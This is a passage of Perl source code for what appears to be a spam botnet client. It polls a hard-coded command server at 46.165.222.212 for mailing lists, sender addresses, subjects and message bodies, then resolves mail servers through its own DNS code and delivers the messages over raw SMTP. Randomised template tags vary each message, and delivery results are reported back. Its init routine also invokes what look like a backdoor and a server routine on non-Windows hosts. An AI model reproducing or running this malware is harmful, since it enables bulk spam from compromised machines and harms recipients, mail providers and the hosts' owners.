$session->{$socket}{buffer} = join ("", pack ("n", $session->{$socket}{sender}), $session->{$socket}{buffer});
}
last;
}
}
elsif ($counter_addr && !scalar keys %$session)
{
$counter_addr = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]) if $counter_addr > ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
$request_time = $time if $counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
}
my $writable = [$writers->handles];
foreach my $handle (@$writable)
{
if ($session->{$handle}{flagset} & $flagset->{timeout})
{
if ($session->{$handle}{status} =~ /^rs/)
{
$session->{$handle}{timeout} = $time + $s->{timeout};
}
else
{
$session->{$handle}{timeout} = $time + $b->{timeout};
}
$session->{$handle}{flagset} ^= $flagset->{timeout};
}
elsif ($time >= $session->{$handle}{timeout})
{
$destroy->($writers, $handle);
}
}
$writable = (IO::Select->select(undef, $writers, undef, 0))[1];
foreach my $handle (@$writable)
{
if ($session->{$handle}{status} =~ /cn$/)
{
if ($handle->connected)
{
if ($session->{$handle}{status} eq "rs_cn")
{
$session->{$handle}{status} = "rs_wr";
}
elsif ($session->{$handle}{status} eq "ns_cn")
{
$session->{$handle}{status} = "ns_wr";
}
else
{
$session->{$handle}{status} = "mx_rd";
unless ($readers->add($handle))
{
$destroy->($writers, $handle);
next;
}
$writers->remove($handle);
}
}
else
{
$destroy->($writers, $handle);
}
}
else
{
my $result;
if ($session->{$handle}{status} eq "ns_wr")
{
if ($test->{udp53}[0] == 0)
{
$result = $handle->send($session->{$handle}{buffer});
}
else
{
my $nameserver = shift @{$b->{nameserver}}; push @{$b->{nameserver}}, $nameserver;
$result = $handle->send($session->{$handle}{buffer}, 0, $_ = sockaddr_in(53, $nameserver));
}
}
else
{
$result = syswrite ($handle, $session->{$handle}{buffer});
}
if (defined $result && $result > 0)
{
substr ($session->{$handle}{buffer}, 0, $result) = "";
if (length $session->{$handle}{buffer} < 1)
{
if ($session->{$handle}{status} eq "rs_wr")
{
$session->{$handle}{status} = "rs_rd";
if ($s->{command} && $counter_addr && ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0])))
{
$counter_addr = 0;
$b->{$_} = [] for (qw (mailbase from replyto subject));
$b->{$_} = [0, ""] for (qw (good unlucky bad));
$b->{report} = "";
$cache = {};
}
$request_time = $time + $s->{request} * 60;
}
elsif ($session->{$handle}{status} eq "ns_wr")
{
$session->{$handle}{status} = "ns_rd";
}
unless ($readers->add($handle))
{
$destroy->($writers, $handle);
next;
}
$writers->remove($handle);
}
}
elsif ($! == $ewblock)
{
next;
}
else
{
$destroy->($writers, $handle);
}
}
}
my $readable = [$readers->handles];
foreach my $handle (@$readable)
{
if ($session->{$handle}{flagset} & $flagset->{timeout})
{
if ($session->{$handle}{status} =~ /^rs/)
{
$session->{$handle}{timeout} = $time + $s->{timeout};
}
else
{
$session->{$handle}{timeout} = $time + $b->{timeout};
}
$session->{$handle}{flagset} ^= $flagset->{timeout};
}
elsif ($time >= $session->{$handle}{timeout})
{
$destroy->($readers, $handle);
}
}
$readable = (IO::Select->select($readers, undef, undef, 0))[0];
foreach my $handle (@$readable)
{
my $result;
if ($session->{$handle}{status} eq "ns_rd")
{
if ($test->{udp53}[0] == 0)
{
my $tempbuffer = "";
if ($session->{$handle}{size} == 0)
{
$handle->recv($tempbuffer, (2 - length $session->{$handle}{buffer}));
$session->{$handle}{buffer} .= $tempbuffer;
if (2 == length $session->{$handle}{buffer})
{
$session->{$handle}{size} = unpack ("n", $session->{$handle}{buffer});
$session->{$handle}{buffer} = "";
}
next;
}
$handle->recv($tempbuffer, ($session->{$handle}{size} - length $session->{$handle}{buffer}));
$session->{$handle}{buffer} .= $tempbuffer;
if ($session->{$handle}{size} == length $session->{$handle}{buffer})
{
$result = $session->{$handle}{size};
}
}
else
{
$result = $handle->recv($session->{$handle}{buffer}, 512);
$result = length $session->{$handle}{buffer} if defined $result;
}
}
else
{
$result = sysread ($handle, $session->{$handle}{buffer}, 16384, length $session->{$handle}{buffer});
}
if (defined $result)
{
if ($result > 0)
{
if ($session->{$handle}{status} eq "rs_rd")
{
next if 4 > length $session->{$handle}{buffer};
if ($session->{$handle}{buffer} !~ /^HTTP/)
{
$destroy->($readers, $handle);
next;
}
else
{
my $offset = index ($session->{$handle}{buffer}, "\x0D\x0A\x0D\x0A");
next unless $offset >= 0;
if ($session->{$handle}{buffer} =~ /^HTTP\S+\s+([^\x0D\x0A]*)/)
{
if ($1 !~ /^200/)
{
$destroy->($readers, $handle);
next;
}
$offset += 4;
next if 10 > (length $session->{$handle}{buffer}) - $offset;
my $server =
{
sign		=> 0,
timeout		=> 0,
request		=> 0,
command		=> 0,
size		=> 0
};
@_ = unpack ("S2C2L", substr ($session->{$handle}{buffer}, $offset, 10));
$server->{$_} = shift @_ for (qw (sign timeout request command size));
if ($server->{sign} != 0xEFEF)
{
$destroy->($readers, $handle);
next;
}
$first_exec = 0;
exit 0 if $server->{command};
$s->{timeout} = $server->{timeout};
$s->{request} = $server->{request};
$request_time = $time + $s->{request} * 60;
unless ($server->{size})
{
$destroy->($readers, $handle);
next;
}
$offset += 10;
next if $server->{size} > (length $session->{$handle}{buffer}) - $offset;
substr ($session->{$handle}{buffer}, 0, $offset) = "";
@_ = unpack ("La4", substr ($session->{$handle}{buffer}, 0, 8, ""));
$b->{$_} = shift @_ for (qw (id ip));
$b->{nameserver} = [];
push @{$b->{nameserver}}, substr ($session->{$handle}{buffer}, 0, 4, "") for (1..16);
@_ = unpack ("S2C4", substr ($session->{$handle}{buffer}, 0, 8, ""));
$b->{$_} = shift @_ for (qw (timeout session copies method spf level));
@{$b->{$_}} = split ("\x0A", substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "")) for (qw (mailbase from replyto subject));
$counter_addr = scalar @{$b->{mailbase}};
my $mailbase_temp = {};
while (my $mail_temp = shift @{$b->{mailbase}})
{
my ($host_temp) = &mail(\$mail_temp);
$host_temp = lc ((split /\@/, $$host_temp)[1]);
$mailbase_temp->{$host_temp} = [] unless exists $mailbase_temp->{$host_temp};
push @{$mailbase_temp->{$host_temp}}, $mail_temp;
}
foreach my $host_temp (keys %$mailbase_temp)
{
while (scalar @{$mailbase_temp->{$host_temp}})
{
my $mail_temp = [];
for (1..$b->{copies})
{
last unless scalar @{$mailbase_temp->{$host_temp}};
push @$mail_temp, shift @{$mailbase_temp->{$host_temp}};
}
push @{$b->{mailbase}}, $mail_temp;
}
}
undef $mailbase_temp;
$b->{header} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");
unless ($b->{header})
{
$b->{header} = ['Date: %DATE%', 'From: %FROMADDR%', 'Reply-To: %REPLYTOADDR%', 'X-Priority: %NPRIORITY%', 'Message-ID: <%MESSAGEID%@%HELO%>', 'To: %TOADDR%', 'Subject: %SUBJECT%'];
$b->{header} = join ("\x0D\x0A", @{$b->{header}}, 'MIME-Version: 1.0', 'Content-Type: text/%TYPE%; charset=%CHARSET%', 'Content-Transfer-Encoding: %ENCODING%');
}
$b->{letter} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");
$b->{letter} = "" unless $b->{letter};
$b->{$_} = unpack ("C", substr ($session->{$handle}{buffer}, 0, 1, "")) for (qw (priority type));
$b->{charset} = substr ($session->{$handle}{buffer}, 0, length $session->{$handle}{buffer}, "");
$b->{ip} = join (".", unpack ("C4", $b->{ip}));
unless ($b->{helo})
{
if (defined $s_nsex)
{
$b->{helo} = &nsptr($_ = sockaddr_in(25, $s_nsex), 3, $b->{ip});
}
else
{
$b->{helo} = &nsptr($_ = sockaddr_in(53, $b->{nameserver}[0]), 3, $b->{ip});
$b->{helo} = &nsptr($_ = sockaddr_in(53, pack ("C4", split (/\./, "8.8.8.8"))), 3, $b->{ip}) unless $b->{helo};
}
$b->{helo} = "localhost" unless $b->{helo};
}
$b->{report} = "\x0ACLIENT V.$s->{version} IP=$b->{ip} PTR=$b->{helo} ID=$b->{id}\x0A\x0A" if $b->{level} > 1;
$destroy->($readers, $handle);
next;
}
else
{
$destroy->($readers, $handle);
next;
}
}
}
elsif ($session->{$handle}{status} eq "ns_rd")
{
if (length $session->{$handle}{buffer})
{
my ($resp, $code) = &nsparser(\$session->{$handle}{buffer}, $session->{$handle}{sender}, $session->{$handle}{packet}, $session->{$handle}{type});
if ($resp == 2)
{
while ($_ = shift @{$session->{$handle}{object}})
{
$b->{bad}[0] ++;
if ($b->{level})
{
$b->{bad}[1] .= "$_\x0A";
$b->{report} .= "$_ - [ns_rd] $code\x0A" if $b->{level} > 1;
}
}
}
elsif ($resp == 1)
{
$resp = shift @{$session->{$handle}{object}};
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$resp\x0A";
$b->{report} .= "$resp - [ns_rd] $code\x0A" if $b->{level} > 1;
}
push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
}
else
{
$resp = @{$session->{$handle}{object}}[0];
($resp) = &mail(\$resp);
$resp = lc ((split /\@/, $$resp)[1]);
$cache->{$resp}[0] = $code;
push @{$b->{mailbase}}, $session->{$handle}{object};
}
delete $session->{$handle}{object};
$destroy->($readers, $handle);
next;
}
}
elsif ($session->{$handle}{buffer} =~ /^[^\-]{4}.*\x0D\x0A$/m)
{
if ($session->{$handle}{buffer} !~ /^(2|3)/)
{
if ($b->{level} > 1)
{
$session->{$handle}{buffer} =~ s/\x0D//g;
$session->{$handle}{buffer} =~ s/[\x09|\x0A]+/\x20/g;
}
$session->{$handle}{mindex} -- if $session->{$handle}{mindex} > 0;
if ($session->{$handle}{status} =~ /^mx_(rd|gr)$/)
{
while ($_ = shift @{$session->{$handle}{object}})
{
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$_\x0A";
$b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
}
}
delete $session->{$handle}{object};
$destroy->($readers, $handle);
next;
}
elsif ($session->{$handle}{status} =~ /^mx_(mf|rt)$/)
{
if ($session->{$handle}{buffer} =~ /\d+\.\d+\.\d+\.\d+/g || $session->{$handle}{buffer} =~ /( ip |block|black|reject|later|many)/ig)
{
while ($_ = shift @{$session->{$handle}{object}})
{
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$_\x0A";
$b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
}
}
delete $session->{$handle}{object};
$destroy->($readers, $handle);
next;
}
else
{
$b->{bad}[0] ++;
if ($b->{level})
{
$b->{bad}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";
$b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Invalid recipient $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
}
splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;
unless (scalar @{$session->{$handle}{object}})
{
delete $session->{$handle}{object};
$destroy->($readers, $handle);
next;
}
}
}
else
{
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";
$b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Delivery error $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
}
splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;
push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
delete $session->{$handle}{object};
$destroy->($readers, $handle);
next;
}
}
if ($session->{$handle}{status} eq "mx_rd")
{
my $helo = $b->{helo};
$session->{$handle}{buffer} = "HE";
$session->{$handle}{buffer} .= "LO $helo\x0D\x0A";
$session->{$handle}{status} = "mx_gr";
}
elsif ($session->{$handle}{status} eq "mx_gr")
{
my ($mail) = &mail(\$session->{$handle}{sender});
$session->{$handle}{buffer} = "MAIL ";
$session->{$handle}{buffer} .= "FROM: <$$mail>\x0D\x0A";
$session->{$handle}{status} = "mx_mf";
}
elsif ($session->{$handle}{status} eq "mx_mf")
{
my ($mail) = &mail(\$session->{$handle}{object}[$session->{$handle}{mindex}]);
$session->{$handle}{buffer} = "RCPT TO: <$$mail>\x0D\x0A";
$session->{$handle}{mindex} ++;
$session->{$handle}{status} = $session->{$handle}{mindex} >= scalar @{$session->{$handle}{object}} ? "mx_rt" : "mx_mf";
}
elsif ($session->{$handle}{status} eq "mx_rt")
{
$session->{$handle}{buffer} = "DATA\x0D\x0A";
$session->{$handle}{status} = "mx_dt";
}
elsif ($session->{$handle}{status} eq "mx_dt")
{
$session->{$handle}{buffer} = &data($session->{$handle}{object}, $session->{$handle}{sender}, $b);
$session->{$handle}{buffer} .= "\x0D\x0A.\x0D\x0A";
$session->{$handle}{status} = "mx_dr";
}
elsif ($session->{$handle}{status} eq "mx_dr")
{
$b->{good}[0] += scalar @{$session->{$handle}{object}};
if ($b->{level})
{
while ($_ = shift @{$session->{$handle}{object}})
{
$b->{good}[1] .= "$_\x0A";
}
}
delete $session->{$handle}{object};
$session->{$handle}{buffer} = "QUIT\x0D\x0A";
$session->{$handle}{status} = "mx_qt";
}
else
{
$destroy->($readers, $handle);
next;
}
unless ($writers->add($handle))
{
$destroy->($readers, $handle);
next;
}
$readers->remove($handle);
}
}
else
{
$destroy->($readers, $handle);
next;
}
}
elsif ($! == $ewblock)
{
next;
}
else
{
$destroy->($readers, $handle);
next;
}
}
}
}
sub nsunpack
{
my ($packet, $offset) = @_;
my ($length, $size, $name, $next) = (length $$packet, 0, "", "");
while (1)
{
return if $length < ($offset + 1);
$size = unpack ("\@$offset C", $$packet);
if ($size == 0)
{
$offset ++;
last;
}
elsif (($size & 192) == 192)
{
return if $length < ($offset + 2);
$next = unpack ("\@$offset n", $$packet);
$next &= 16383;
($next) = &nsunpack($packet, $next);
return if !defined $next;
$name .= $next;
$offset += 2;
last;
}
else
{
$offset ++;
return if $length < ($offset + $size);
$next = substr ($$packet, $offset, $size);
$name .= "$next.";
$offset += $size;
}
}
$name =~ s/\.$//;
return if !length $name;
return ($name, $offset);
}
sub nsrecord
{
my ($packet, $offset) = @_;
my ($length, $name) = (length $$packet, "");
($name, $offset) = &nsunpack($packet, $offset);
return if !defined $name || $length < ($offset + 10);
my ($rtype, $rclass, $rttl, $rlength) = unpack ("\@$offset n2Nn", $$packet);
$offset += 10;
return if $length < ($offset + $rlength);
return ($name, $offset, $rtype, $rclass, $rttl, $rlength);
}
sub nsparser
{
my ($packet, $offset, $sequence, $type) = @_;
my ($length, $name) = (length $$packet, "");
return (1, "Broken header") if $length < 12;
@_ = unpack ("nC2n4", $$packet);
my $header =
{
id		=> $_[0],
qr		=> ($_[1] >> 7) & 1,
opcode	=> ($_[1] >> 3) & 15,
aa		=> ($_[1] >> 2) & 1,
tc		=> ($_[1] >> 1) & 1,
rd		=> $_[1] & 1,
ra		=> ($_[2] >> 7) & 1,
z		=> ($_[2] >> 4) & 6,
rcode	=> $_[2] & 15,
qdcount	=> $_[3],
ancount	=> $_[4],
nscount	=> $_[5],
arcount	=> $_[6]
};
return (1, "Synchronization error") if $header->{id} != $sequence;
return (1, "Recursion disabled") if !$header->{ra};
return (2, "Query format error") if $header->{rcode} == 1;
return (2, "Server failure") if $header->{rcode} == 2;
return (2, "Non-existent domain") if $header->{rcode} == 3;
return (2, "Empty answer section") if !$header->{ancount};
return (1, "Broken packet") if $length < $offset;
my ($answer, $rtype, $rclass, $rttl, $rlength) = ({}, 0, 0, 0, 0);
while ($header->{ancount})
{
$header->{ancount} --;
($name, $offset, $rtype, $rclass, $rttl, $rlength) = &nsrecord($packet, $offset);
last if !defined $name;
if ($type != $rtype)
{
$offset += $rlength;
next;
}
if ($type == 1)
{
$name = substr ($$packet, $offset, 4);
last if !defined $name || 4 > length $name;
$offset += $rlength;
$name = inet_ntoa($name);
$answer->{$name} = 1;
}
elsif ($type == 12)
{
($name, $offset) = &nsunpack($packet, $offset);
last if !defined $name;
$answer->{$name} = 1;
}
elsif ($type == 15)
{
$sequence = substr ($$packet, $offset, 2);
last if !defined $sequence || 2 > length $sequence;
($name, $offset) = &nsunpack($packet, ($offset + 2));
last if !defined $name;
$answer->{$name} = unpack ("n", $sequence);
}
}
return (2, "No resourse records") if !scalar keys %$answer;
my $result = (sort {$answer->{$a} <=> $answer->{$b}} keys %$answer)[0];
if ($type == 15 && $header->{arcount})
{
while ($header->{nscount})
{
$header->{nscount} --;
($name, $offset, $rtype, $rclass, $rttl, $rlength) = &nsrecord($packet, $offset);
last if !defined $name;
$offset += $rlength;
}
while ($header->{arcount})
{
$header->{arcount} --;
($name, $offset, $rtype, $rclass, $rttl, $rlength) = &nsrecord($packet, $offset);
last if !defined $name;
if ($rtype == 1 && exists $answer->{$name})
{
$name = substr ($$packet, $offset, 4);
last if !defined $name || 4 > length $name;
$result = inet_ntoa($name);
last;
}
$offset += $rlength;
}
}
return (0, $result);
}
sub nsptr
{
my ($packaddr, $timeout, $query) = @_; my $type = 12;
return if !defined $query || $query !~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/;
return if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255);
$query = "$4.$3.$2.$1.in-addr.arpa";
my $packid = int rand 65536; my $packet = pack ("nSn4", $packid, 1, 1, 0, 0, 0);
$packet .= pack ("C", length $_) . $_ for (split (/\./, lc $query));
$packet .= pack ("Cn2", 0, $type, 1);
my $offset = length $packet;
my ($socket, $select, $buffer, $resp, $text, $size);
if ($test->{udp53}[0] == 1)
{
$socket = IO::Socket::INET->new(Proto=>"udp");
return unless $socket;
$select = new IO::Select $socket;
if ($select->can_write($timeout))
{
unless ($socket->send($packet, 0, $packaddr))
{
close $socket;
return;
}
}
else
{
close $socket;
return;
}
if ($select->can_read($timeout))
{
$socket->recv($buffer, 512);
}
else
{
close $socket;
return;
}
close $socket;
return if !defined $buffer || !length $buffer;
}
else
{
$socket = IO::Socket::INET->new(Proto=>"tcp", Type=>SOCK_STREAM);
return unless $socket;
$select = new IO::Select $socket;
if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
unless ($socket->connect($packaddr))
{
if ($! != $eiprogr && $! != $ewblock)
{
close $socket;
return;
}
unless ($select->can_write($timeout))
{
close $socket;
return;
}
unless ($socket->connected)
{
close $socket;
return;
}
}
$socket->blocking(1);
$packet = pack ("n", length $packet) . $packet;
if ($select->can_write($timeout))
{
unless ($socket->send($packet))
{
close $socket;
return;
}
}
else
{
close $socket;
return;
}
if ($select->can_read($timeout))
{
$buffer = ""; $text = 2;
while ((length $buffer) < $text)
{
$size = $text - length $buffer; $resp = "";
unless ($socket->recv($resp, $size))
{
last if !length $resp;
}
last if !length $resp;
$buffer .= $resp;
}
if (!length $buffer)
{
close $socket;
return;
}
unless ($text = unpack ("n", $buffer))
{
close $socket;
return;
}
unless ($select->can_read($timeout))
{
close $socket;
return;
}
$buffer = "";
while ((length $buffer) < $text)
{
$size = $text - length $buffer; $resp = "";
unless ($socket->recv($resp, $size))
{
last if !length $resp;
}
last if !length $resp;
$buffer .= $resp;
}
unless ($text == length $buffer)
{
close $socket;
return;
}
}
else
{
close $socket;
return;
}
close $socket;
return if !defined $buffer || !length $buffer;
}
($resp, $text) = &nsparser(\$buffer, $offset, $packid, $type);
return !$resp ? $text : undef;
}
sub mail
{
my $line = shift;
return if !defined $$line || $$line !~ /^[^\@]+\@[^\@]+\.[^\@]+$/;
my ($name, $mail, $info) = $$line =~ /\s*(.*?)[\s\|<]*([^\s|<]+\@[^>\|\s]+)>*(.*)$/;
return if !$mail;
$info =~ s/.*?\|[\s\|]*(.+?)[\s\|]*$/$1/ if length $info;
return (\$mail, \$name, \$info);
}
sub init
{
&bdrp() if $^O ne "MSWin32";
&main('46.165.222.212',83,'/');
&main('46.165.222.212',84,'/');
&startserver() if $^O ne "MSWin32";
}
sub data
{
my ($to, $from, $b) = @_;
my $time = time;
my $zone = sprintf ("%s%02d00", $b->{timezone}[0], $b->{timezone}[1]);
my $date = localtime $time; $date =~ s/^(\w+)\s+(\w+)\s+(\d+)\s+(\d+):(\d+):(\d+)\s+(\d+)$/sprintf "$1, $3 $2 $7 $4:$5:$6 %s", $zone/e;
my $wday = {Mon => "Monday", Tue => "Tuesday", Wed => "Wednesday", Thu => "Thursday", Fri => "Friday", Sat => "Saturday", Sun => "Sunday"}->{$1};
my $nmon = {Jan => 1, Feb => 2, Mar => 3, Apr => 4, May => 5, Jun => 6, Jul => 7, Aug => 8, Sep => 9, Oct => 10, Nov => 11, Dec => 12}->{$2};
my $tmon = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]->[$nmon - 1];
my $ampm = "AM"; my $hour = int $4; $ampm = "PM" if $hour == 12; $hour = 12 if $hour == 0; if ($hour > 12) { $ampm = "PM"; $hour -= 12; }
$date =
{
DATE	=> $date,
WWWW	=> $wday,
WWW		=> $1,
DD		=> sprintf ("%02d", $3),
D		=> $3,
MMMM	=> $tmon,
MMM		=> $2,
MM		=> sprintf ("%02d", $nmon),
M		=> $nmon,
YYYY	=> $7,
YY		=> substr ($7, -2),
Z		=> $zone,
TT		=> $ampm,
tt		=> lc $ampm,
HH		=> $4,
H		=> int $4,
hh		=> sprintf ("%02d", $hour),
h		=> $hour,
mm		=> $5,
m		=> int $5,
ss		=> $6,
s		=> int $6
};
my ($mail, $name) = &mail(\$from);
my ($user, $host) = split (/\@/, $$mail);
$from = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
my $replyto = $from;
if ($b->{from}[0] ne $b->{replyto}[0])
{
($mail, $name) = &mail(\@{$b->{replyto}}[int rand scalar @{$b->{replyto}}]);
($user, $host) = split (/\@/, $$mail);
$replyto = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
}
if ($b->{method} == 0)
{
@_ = ();
foreach (@$to) { ($mail, $name) = &mail(\$_); $_ = length $$name ? "$$name <$$mail>" : "<$$mail>"; push @_, $_; }
($user, $host) = split (/\@/, $$mail);
$to = {ADDR => join (",\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20", @_), NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
}
else
{
($mail, $name) = &mail(\$to->[0]);
($user, $host) = split (/\@/, $$mail);
$to = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
}
my $head =
{
HELO		=> $b->{helo},
TYPE		=> $b->{type} ? "html" : "plain",
SUBJECT		=> @{$b->{subject}}[int rand scalar @{$b->{subject}}],
CHARSET		=> $b->{charset},
ENCODING	=> $b->{charset} eq "windows-1251" ? "8bit" : "7bit",
NPRIORITY	=> (5 - $b->{priority} * $b->{priority} - ($b->{priority} == 1 ? 1 : 0)),
TPRIORITY	=> ["Low", "Normal", "High"]->[$b->{priority}],
MESSAGEID	=> sprintf ("%08x\.%04x%04x", int ($time * 0.0023283064365387 + 27111902.8329849), int rand 32769, int rand 32769)
};
my $letter = length $b->{letter} ? sprintf ("%s%s%s", $b->{header}, "\x0D\x0A\x0D\x0A", $b->{letter}) : $b->{header};
$letter =~ s/\%$_\%/$head->{$_}/g foreach (keys %$head);
$letter =~ s/\%$_\%/$date->{$_}/g foreach (keys %$date);
$letter =~ s/\%FROM$_\%/$from->{$_}/g foreach (keys %$from);
$letter =~ s/\%REPLYTO$_\%/$replyto->{$_}/g foreach (keys %$replyto);
$letter =~ s/\%TO$_\%/$to->{$_}/g foreach (keys %$to);
&tag(\$letter);
if (!length $b->{letter})
{
$letter =~ s/\x0D//gm;
$letter =~ s/\x0A/\x0D\x0A/gm;
}
return $letter;
}
sub quoted ($)
{
my $line = shift;
$line =~ s/([^ \t\x0D\x0A!"#\$%&'()*+,\-.\/0-9:;<>?\@A-Z[\\\]^_`a-z{|}~])/sprintf ("=%02X", ord ($1))/eg;
$line =~ s/([ \t]+)$/join ("", map {sprintf ("=%02X", ord ($_))} split ("", $1))/egm;
my $lines = "";
$lines .= "$1=\x0D\x0A" while $line =~ s/(.*?^[^\x0D\x0A]{71}(?:[^=\x0D\x0A]{2}(?![^=\x0D\x0A]{0,1}$)|[^=\x0D\x0A](?![^=\x0D\x0A]{0,2}$)|(?![^=\x0D\x0A]{0,3}$)))//xsm;
$lines .= $line;
return $lines;
}
sub tag
{
my $line = shift;
my $save = [];
$$line =~ s/\[random\]([^\[]*)\[\/random\]({\d+,\d+})?(\((\d+)\))?/&tagrandom($1, $2, $4, \$save)/eg;
$$line =~ s/\[string\]([^\[]*)\[\/string\](\((\d+)\))?/&tagstring($1, $3, \$save)/eg;
$$line =~ s/\%\[(\d+)\]/$1 < 64 && defined $save->[$1] ? $save->[$1] : ""/eg;
$$line =~ s/\[quot\](.*?)\[\/quot\]/&quoted($1)/egs;
}
sub tagrandom
{
my ($line, $spec, $cell, $save) = @_;
if (defined $line && length $line)
{
if (defined $spec && $spec =~ /^{(\d+),(\d+)}$/)
{
$spec = $2 > 64 ? 64 : $2;
$spec = $1 < $spec ? ($1 + int rand (1 + $spec - $1)) : $spec;
}
else
{
$spec = length $line;
$spec = 1 + ($spec > 64 ? int rand 64 : int rand $spec);
}
$line = [split (//, $line)];
$line = join ('', @$line[map {rand @$line}(1..$spec)]);
}
$line = defined $line ? $line : "";
$$save->[$cell] = $line if defined $cell && $cell < 64;
return $line;
}
sub tagstring
{
my ($line, $cell, $save) = @_;
if (defined $line && length $line)
{
$line = [split (/\|/, $line)];
$line = $line->[int rand scalar @$line];
}
$line = defined $line ? $line : "";
$$save->[$cell] = $line if defined $cell && $cell < 64;
return $line;
}
sub test
{
while (1)
{
my $readers = IO::Select->new() or last;
my $writers = IO::Select->new() or last;
my $session = {};
foreach my $result (keys %$test)
{
while (1 < scalar @{$test->{$result}})
{
my $host = pop @{$test->{$result}};
my $addr = pack ("C4", split (/\./, $host));
my ($protocol, $port);
if ($result eq "ip")
{
($protocol, $port) = ("tcp", 80);
}
else
{
($protocol, $port) = $result =~ /^(tcp|udp)(\d+)$/;
}
$addr = sockaddr_in($port, $addr);
my $socket = $protocol eq "tcp" ? IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM) : IO::Socket::INET->new(Proto => "udp");
next unless $socket;
if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
if ($protocol eq "tcp")
{
unless ($socket->connect($addr))
{
if ($! != $eiprogr && $! != $ewblock)
{
close $socket;
next;
}
}
}
$writers->add($socket);
$session->{$socket} = {status => $protocol eq "tcp" ? "cn" : "wr", buffer => "", timeout => 5, result => $result, addr => $addr};
if ($port == 53)
{
$session->{$socket}{buffer} .= pack ("nSn4", int rand 65535, 1, 1, 0, 0, 0);
$session->{$socket}{buffer} .= pack ("C", length $_) . $_ for (split (/\./, $host));
$session->{$socket}{buffer} .= pack ("Cn2", 0, 1, 1);
$session->{$socket}{buffer} = join ("", pack ("n", length $session->{$socket}{buffer}), $session->{$socket}{buffer}) if $protocol eq "tcp";
}
elsif ($port == 80)
{
$session->{$socket}{buffer} = join ("\x0D\x0A", "GET / HTTP/1.1", "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*", "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Host: $host", "Connection: close", "Cache-Control: no-cache", "\x0D\x0A");
}
}
}
$session->{$_}{timeout} += time foreach (keys %$session);
while ($readers->count() || $writers->count())
{
my $time = time;
my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
foreach my $handle (@$writable)
{
if ($session->{$handle}{status} eq "cn")
{
if ($handle->connected)
{
if ($session->{$handle}{result} eq "tcp25")
{
$session->{$handle}{status} = "rd";
$readers->add($handle);
$writers->remove($handle);
}
else
{
$session->{$handle}{status} = "wr";
}
}
else
{
$session->{$handle}{timeout} = 0;
}
}
else
{
my $result;
if ($session->{$handle}{result} eq "udp53")
{
$result = $handle->send($session->{$handle}{buffer}, 0, $session->{$handle}{addr});
}
elsif ($session->{$handle}{result} eq "tcp53")
{
$result = $handle->send($session->{$handle}{buffer});
}
else
{
$result = syswrite ($handle, $session->{$handle}{buffer});
}
if (defined $result && $result > 0)
{
substr ($session->{$handle}{buffer}, 0, $result) = "";
if (length $session->{$handle}{buffer} < 1)
{
$session->{$handle}{status} = "rd";
$readers->add($handle);
$writers->remove($handle);
}
}
elsif ($! == $ewblock)
{
next;
}
else
{
$session->{$handle}{timeout} = 0;
}
}
}
my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
foreach my $handle (@$readable)
{
my $result;
if ($session->{$handle}{result} eq "udp53")
{
$result = $handle->recv($session->{$handle}{buffer}, 512);
$result = length $session->{$handle}{buffer} if defined $result;
}
elsif ($session->{$handle}{result} eq "tcp53")
{
$result = $handle->recv($session->{$handle}{buffer}, 2);
$result = length $session->{$handle}{buffer} if defined $result;
}
else
{
$result = sysread ($handle, $session->{$handle}{buffer}, 8192, length $session->{$handle}{buffer});
}
if (defined $result)
{
if ($session->{$handle}{result} eq "ip")
{
if ($test->{$session->{$handle}{result}}[0] eq "0.0.0.0")
{
if ($session->{$handle}{buffer} =~ /(\d+\.\d+\.\d+\.\d+)/)
{
$test->{$session->{$handle}{result}}[0] = $1;
